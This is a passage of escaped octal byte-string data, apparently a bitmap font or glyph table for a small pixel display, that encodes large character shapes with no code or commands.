\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\376\\377\\377\\377\\377\\374\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\377\\177\\17\\37\\377\\377\\377\\377\\376\\360\\300\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\377\\377\\37\\3\\0\\0\\0\\0\\7\\37\\377\\377\\377\\377\\376\\370\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\340\\374\\377\\377\\377\\377\\177\\177~~~~~~~~~~\\177\\177\\377\\377\\377\\377\\376\\370\"\n  \"\\300\\0\\0\\0\\374\\377\\377\\377\\377\\377\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\77\\377\\377\\377\"\n  \"\\377\\377\\370\\340\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\"\n  \"\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\37\\37\\37\\77\\177\\377\\377\\377\\376\\376\\374\"\n  \"\\360\\300\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\340\\360\\377\\377\\377\\377\\377\"\n  \"\\177\\37\\0\\0\\377\\377\\377\\377\\377\\377\\377\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\177\\177\\177\\377\\377\\377\\377\\363\\341\\340\"\n  \"\\200\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\377\\377\\377\\377\"\n  \"\\377\\377\\374\\0\\377\\377\\377\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\360\\360\\360\\370\\374\\377\\377\\377\\377\\177\"\n  \"\\77\\17\\3\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\3\\3\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\374\\374\\376\\377\\377\\177\\77\\77\\37\\37\\17\\17\\17\\37\\37\\37\\77\\177\\377\\377\\376\\376\"\n  \"\\374\\370\\360\\300\\300\\370\\377\\377\\377\\377\\377\\377\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\"\n  \"\\7\\3\\3\\1\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\177\\377\\377\\377\\377\\377\\376\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\7\\37\\77\\177\\377\\377\\377\\376\\374\\370\\360\\360\\340\\340\\340\\340\\340\\340\\340\\360\\370\\370\\374\\377\\377\"\n  \"\\377~\\34\\14\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\37\\37\\37\\77\\177\\377\\377\\377\\376\\374\\370\\360\"\n  \"\\340\\200\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\177\\377\\377\\377\"\n  \"\\377\\377\\374\\340\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\374\\377\\377\\377\"\n  \"\\377\\377\\177\\7\\0\\377\\377\\377\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\360\\360\\360\\370\\370\\374\\376\\377\\377\\377\\177\\77\\17\"\n  \"\\7\\1\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\17\\17\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\17\\17\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\340\\360\\370\\374\\376\\377\\377\\177\\77\\77\\37\\37\\37\\17\\17\\17\\37\\37\\37\\77\\177\\377\\377\\376\\374\"\n  \"\\370\\360`\\0\\370\\377\\377\\377\\377\\377\\177\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\3\"\n  \"\\1\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\360\\360\\360\\0\\177\\377\\377\\377\\377\\377\\376\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\3\\17\\37\\77\\177\\377\\377\\377\\376\\374\\370\\360\\360\\340\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\377\\377\\377\"\n  \"\\377\\377\\177\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\3\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\377\\377\\377\\377\\377\\377\\377\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\"\n  \"\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\17\\17\\17\\17\\17\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\377\\377\\377\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\17\\17\\17\\17\\17\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\"\n  \"\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0 p\\370\\376\\377\\374\\370\\360\\340\\340\\340\\340\\340\\340\\360\\370\\377\\377\\377\\377\\377\\77\\37\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300\"\n  \"\\300\\300\\300@\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\370\\374\\376\\377\\377\\177\\77\\37\\17\"\n  \"\\7\\1\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\200\\300\\360\\370\\374\\376\\377\\377\\177\\77\\17\\7\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377~\\77\\37\\77\\377\\377\\377\\377\\371\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\1\\7\\17\\77\\177\\377\\377\\377\\376\\370\\360\\340\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\37\\77\\377\\377\\377\\377\\376\\370\"\n  \"\\360\\300\\200\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\\7\\7\"\n  \"\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\"\n  \"\\300\\300\\300\\300\\377\\377\\377\\377\\377\\377\\377\\376\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\37\\177\\377\\377\\376\\370\\340\\0\\0\\0\\0\\300\\360\\374\\377\\377\\177\\37\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\1\\7\\37\\177\\377\\377\\374\\374\\377\\377\\177\\37\\7\\1\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\1\\7\\7\\7\\7\\1\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\"\n  \"\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\377\\377\\377\\377\\377\\377\\377\\377\\376\\370\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\7\\37\\77\\377\\377\\377\\374\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\3\\17\\77\\177\\377\\377\\376\\370\\340\\300\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\177\\377\\377\\377\\374\\360\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\\7\"\n  \"\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\340\\370\\374\\376\\376\\377\\377\\177\\77\\37\\37\\37\\17\\17\\17\\37\\37\\77\\77\\177\\377\\377\\376\\374\\374\"\n  \"\\360\\340\\300\\0\\374\\377\\377\\377\\377\\377\\377\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\77\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\377\\377\\177\\377\\377\\377\\377\\377\\376\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\1\\7\\37\\77\\177\\377\\377\\377\\376\\370\\370\\360\\340\\340\\340\\340\\340\\340\\340\\360\\370\\374\\376\\377\\377\\377\\177\"\n  \"\\77\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\37\\37\\37\\77\\177\\377\\377\\377\\376\\374\"\n  \"\\370\\360\\200\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\301\\377\\377\\377\\377\"\n  \"\\377\\377\\177\\0\\0\\377\\377\\377\\377\\377\\377\\377\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\376\\376\\377\\177\\177\\177\\77\\37\\17\"\n  \"\\7\\3\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\340\\370\\374\\376\\376\\377\\377\\177\\77\\37\\37\\37\\17\\17\\17\\37\\37\\77\\77\\177\\377\\377\\376\\374\\370\"\n  \"\\360\\340\\200\\0\\374\\377\\377\\377\\377\\377\\377\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\77\\377\\377\"\n  \"\\377\\377\\377\\376\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\3\\17\\77\\177\\377\\377\\377\\377\\374\\370\\360\\340\\340\\340\\300\\300\\300\\340\\340\\360\\360\\370\\376\\377\\377\\177\\77\"\n  \"\\37\\7\\3\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\17\\17\\377\\377\\377\\377\\377\\377\\317\\207\\207\\7\\3\\1\\0\\200\\200\"\n  \"\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\37\\37\\77\\77\\77\\77\\77\\77\\77\\77\\77\"\n  \"\\77\\77\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\37\\37\\37\\77\\177\\377\\377\\377\\376\\374\"\n  \"\\370\\340\\200\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\341\\377\\377\\377\\377\"\n  \"\\377\\377\\77\\0\\0\\377\\377\\377\\377\\377\\377\\377\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\376\\376\\377\\177\\177\\77\\77\\37\\17\"\n  \"\\7\\1\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\1\\7\\17\\77\\377\\377\\377\\377\\374\\360\\340\\200\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\377\\377\\376\"\n  \"\\370\\340\\200\\0\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\7\"\n  \"\\7\\7\\7\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\"\n  